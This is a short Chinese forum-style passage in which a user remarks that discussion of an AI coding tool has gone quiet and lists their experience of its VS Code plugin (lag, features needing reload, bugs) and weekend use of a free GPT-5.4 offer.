但最近这段时间感觉突然就安静了很多,基本看不到讨论了。不知道是我信息源变窄了,还是大家真的都不用了。

我自己这段时间用下来的体感大概是这样:

  • 在 Visual Studio Code 里的插件稳定性一般
  • 偶尔会卡顿,响应有点慢
  • 有些功能会莫名其妙失效,需要 reload 一下
  • Bug 体感确实不少

不过这几天它限时免费的 GPT-5.4 确实挺香,周末拿来狠狠 vibe coding 了一把。